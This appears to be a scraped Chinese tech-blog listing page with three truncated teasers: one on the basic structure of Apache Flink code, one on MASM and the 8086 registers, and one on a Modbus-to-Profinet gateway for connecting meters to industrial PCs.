前言 Flink是流批一体的框架。因此既可以处理以流的方式处理&#xff0c;也可以按批次处理。 一、代码基础格式 //1st 设置执行环境 xxxEnvironment env xxxEnvironment.getEnvironment;//2nd 设置流 DataSource xxxDSenv.xxxx();//3rd 设置转换 Xxx transformation xxxDS.…

简述MASM宏汇编

Hello , 我是小恒不会java。今天写写x86相关底层的东西 寄存器 8086由BIU和EU组成 8088/8086寄存器有14个。8通用&#xff0c;4段&#xff0c;1指针&#xff0c;1标志 8个通用寄存器&#xff1a;这些寄存器可以用来存储任意类型的数据&#xff0c;包括整数、地址等。8086有8个…

Modbus转Profinet网关接电表与工控机通讯

Modbus转Profinet网关&#xff08;XD-MDPN100/300&#xff09;的主要功能是实现Modbus协议和Profinet协议之间的转换和通信。Modbus转Profinet网关集成了Modbus和Profinet两种协议&#xff0c;支持Modbus RTU主站/从站&#xff0c;并可以与RS485接口的设备&#xff0c;如变频器…